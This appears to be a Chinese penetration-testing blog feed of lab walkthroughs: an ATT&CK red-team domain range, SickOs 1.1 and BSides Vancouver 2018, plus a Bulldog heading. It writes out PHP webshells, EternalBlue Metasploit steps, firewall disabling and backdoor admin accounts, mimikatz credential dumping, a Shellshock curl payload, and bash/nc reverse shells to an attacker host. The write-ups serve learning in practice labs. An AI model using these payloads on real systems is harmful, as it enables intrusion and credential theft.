渗透测试 on KePulsary

ATT&CK 红队实战

Fri, 18 Mar 2022 00:00:00 +0000

ATT&CK 红队实战

记录一次域渗透

靶场地址漏洞详情 (qiyuanxuetang.net)

网站shell

网站配置

先打开服务

正常做法

扫目录有一个phpmyadmin 弱密码root/root登陆日志getshell 还得提权

1
2
3
4
5
6
7
8


show variables like '%secure%'
如果是null 则无法直接写文件
show variables like '%general%'
如果是on则可以通过写日志来拿shell
set global general_log='on';
SET global general_log_file='<网站绝对路径>/shell.php'
SELECT 'shell123<?php eval($_REQUEST["1"]);?>';
绝对路径可以用php探针得到

还有给cms dirsearch没有扫到。。

第二种

ifconfig 查看本机ip
同一个网卡 nmap -sP 192.168.54.129/24 扫描内网得到目标主机192.168.54.130
访问80端口是一个php探针
nmap -sS -sV -T4 -A 192.168.54.130 扫一波端口发现win7 445端口开着打一波永恒之蓝
msfconsole 打开msf
search ms17 搜索模块
use auxiliary/scanner/smb/smb_ms17_010 使用模块
options 查看设置选项
set rhost 192.168.54.130 设置目标ip run 运行

发现可以使用永恒之蓝
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.54.130
set lhost 192.168.54.129
exploit

拿到shell 已经是管理员权限

netsh firewall set allprofiles state off 关闭防火墙
或者开发端口 netsh advfirewall firewall add rule name=”desktop” protocol=TCP dir=in localport=3389 action=allow
net user test mimA233 /add # 添加账户密码 net localgroup administrators test /add # 给test账户添加为管理员权限 net user test # 查询是否成功添加test用户
rdesktop 192.168.54.130 远程桌面连接
搭个代理出来
可用msf直接搭建sock隧道：进入session，自动创建路由：run post/multi/manage/autoroute 查看路由信息：run get_local_subnets
background msf退回上级 sessions 查看当前会话 session -i 1(num) 进入会话
search socks
use auxiliary/server/socks_proxy
run
用proxychains全局代理设置配置文件vim /etc/proxychains.conf 在最后一行加代理地址

内网攻击

远程桌面的管理员桌面有一个nmap 也可以把自己的文件传上去(cs搭服务，访问下载)

nmap扫一波内网
nmap -sn 192.168.52.143/24
发现 138 141 访问一下80
192.168.52.138 80端口有服务
测试代理成功访问内网
nmap扫一下端口发现window server 2008 445 开着尝试永恒之蓝
用代理开msf
因为隔了一层内网反弹不出来(或许姿势不对)使用正向shell
use auxiliary/admin/smb/ms17_010_command
set rhost 192.168.52.138
set command 要执行的命令
set command netsh advfirewall firewall add rule name=”desktop” protocol=TCP dir=in localport=3389 action=allow (开3389端口
添加用户开3389端口挂代理远程连一下
再扫一下141 同样方法打通
set command ‘REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’ 关防火墙(版本低)

拿下

学习

mimikatz 抓密码 privilege::debug提权限sekurlsa::logonPasswords就是抓取密码
net config Workstation 查看当前登陆域及用户信息
net group “domain controllers” /domain 查看域控
net group “domain admins” /domain 查看域管
net view /domain:god 查看域成员

MSF和CS联动

setg ReverseAllowProxy true //如果通过此 socks 反弹 shell，则需要开启此项，不推荐，速度慢，动静大
MSF新建监听，payload使用reverse_http
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
run
然后cs 设置监听端口
生成payload 用这个监听端口
得到msf shell

上线cs

查看主机名 shell hostname
查看用户列表 shell net users
组管理员 shell net localgroup administrators
查看防火墙 shell netsh firewall show state
查看当前域 net view
查看域控列表 net dclist
smb监听器 (75条消息) cs客户端实时权限_【CS学习笔记】7、SMBbean的作用_疑似精神病的博客-CSDN博客
psexec:内网中，最总要的还是域管理员账号，有了域管理员账号后，可以使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。
use exploit/multi/handler 在攻击服务器上生成连接软件，LHOST为攻击机IP地址

ATT&CK实战系列——红队实战（二）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


fping -asg 192.168.224.0/24 //找到靶机ip
nmap -sS -sV -T4 -A -p- 192.168.224.248 //扫描靶机

nmap使用:
-sP :ping扫描（不进行端口扫描）
-sT：进行TCP全连接扫描
-sS：进行SYN半连接扫描
-sF：进行FIN扫描
-sN：进行Null扫描
-sX：进行Xmas扫描
-O：进行测探目标主机版本（不是很准）
-sV：可以显示服务的详细版本
-A：全面扫描
-p:指定端口扫描
-oN：会将扫描出来的结果保存成一个txt文件
-oX：会将扫描出来的结果保存成一个xml文件
[-T1]-[-T5]:提高扫描速度

xray扫一下

1
2
3


./xray webscan --basic-crawler http://192.168.111.80:7001/ --html-output test.html

output:Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData

网上找一下现成的exp TopScrew/CVE-2019-2725: CVE-2019-2725命令回显+webshell上传+最新绕过 (github.com)

HTML Application

生成恶意的HTA木马文件配合host file使用

mshta http://x.x.x.x:8008/download/file.ext

然后CS端就可以收到上线了

然后在cs上操作

dump hash

run mimikate 抓一下密码什么的

net view 返回6118

直接扫一下ip段

然后就可以打惹

通图

感觉就外网那一层，内网随便走。。。psexec

靶机练习

Sat, 27 Nov 2021 00:00:00 +0000

靶机练习

SickOs 1.1

发现主机

netdiscover
arp-scan -l
nmap -sP 192.168.221.1/24
nmap -sS -sV -T4 -A -p- -Pn 192.168.221.134

扫到网络代理

1
2
3
4
5


3128/tcp open http-proxy Squid http proxy 3.1.19
|_http-server-header: squid/3.1.19
|_http-title: ERROR: The requested URL could not be retrieved

8080/tcp closed http-proxy

直接访问8080被拒绝，挂他代理访问

扫描漏洞

nikto 扫一波漏洞 nikto -h 192.168.221.134 -useproxy http://192.168.221.134:3128
socks5://127.0.0.1:7890
可以打cve也可以打web后台

Apache mod_cgi - ‘Shellshock’ Remote Command Injection - Linux remote Exploit (exploit-db.com)

python exp.py payload=reverse rhost=192.168.221.134 lhost=172.17.112.3 lport=11122 proxy=192.168.221.134:3128 pages=/cgi-bin/status/

没打通

手打

curl -v --proxy 192.168.221.134:3128 \
 http://192.168.221.134/cgi-bin/status -H "Referer: () { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id; exit"

curl -v --proxy 192.168.221.134:3128 \
 192.168.221.134/cgi-bin/status -H "Referer: () { test;}; 0<&28-;exec 28<>/dev/tcp/172.17.112.3/11122;/bin/sh <&28 >&28 2>&28"

getshell

默认地址Wolf CMS：http://192.168.221.134/wolfcms/?/admin

默认密码admin/admin

上传大马登录大马查看配置文件有密码

尝试登录 sickos 密码john@123

sudo -l Linux sudo命令 | 菜鸟教程 (runoob.com)
-l 显示出自己（执行 sudo 的使用者）的权限
sudo 使用权限：在 /etc/sudoers 中有出现的使用者。

cat /etc/cron.d/automate 查看定时任务
/var/www/connect.py
写反弹shell进去可以弹root出来

成功提权结束

BSides-Vancouver-2018-Workshop

扫描服务

 nmap -sS -sV -T4 -A -p- -Pn 192.168.221.135
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-27 15:08 CST
Nmap scan report for bogon (192.168.221.135)
Host is up (0.0010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 65534 65534 4096 Mar 03 2018 public
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.221.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)
| 2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)
|_ 256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/backup_wordpress
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=11/27%OT=21%CT=1%CU=32261%PV=Y%DS=2%DC=T%G=Y%TM=61A1D9
OS:8D%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=Z%CI=I%II=I%TS=8)OP
OS:S(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST
OS:11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC
OS:N(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=C95%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8080/tcp)
HOP RTT ADDRESS
1 0.16 ms LAPTOP-3Q0LGQ5O.mshome.net (172.17.112.1)
2 0.63 ms bogon (192.168.221.135)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.14 seconds

 FTP server status:
| Connected to 192.168.221.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 2.3.5 - secure, fast, stable
|_End of status
允许匿名登录
文件users.txt.bk：
abatchy
john
mai
anne
doomguy

写马

appearance -> Edit Themes ->header.php

第一行写入

file_put_contents(‘./aaa.php’,’<?php eval($_GET[1]);’);

保存

访问aaa.php

http://192.168.221.135/backup_wordpress/aaa.php?1=system(’ls’);

得到权限

拿权

反弹shell

1
2
3


bash -c "bash -i >& /dev/tcp/172.17.112.3/11133 0>&1"
nc 172.17.112.3 11133
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.17.112.3 11222 >/tmp/f

也可以传个小马，连上蚁剑，，，，拉个大马进去大马反弹shell 进入交互模式

1

python -c 'import pty;pty.spawn("/bin/bash")' //交互

提权

查找每个用户文件，和浏览各目录文件，发现位于 /usr/local/bin/cleanup 文件，其权限是777，查看内容为：

#!/bin/sh

rm -rf /var/log/apache2/* # Clean those damn logs!!

修改内容为反弹shell

思路

没有入手点就爆破密码用户，wpscan

熟悉wordpress提权方式

熟悉反弹shell的姿势

Bulldog

主机发现

netdiscover -r 192.168.0.0/24

渗透测试 on KePulsary

ATT&CK 红队实战

ATT&CK 红队实战

网站shell

正常做法

第二种

内网攻击

学习

ATT&CK实战系列——红队实战（二）

靶机练习

靶机练习

SickOs 1.1

发现主机

扫描漏洞

getshell

成功提权 结束

BSides-Vancouver-2018-Workshop

扫描服务

写马

拿权

提权

思路

Bulldog

主机发现

成功提权结束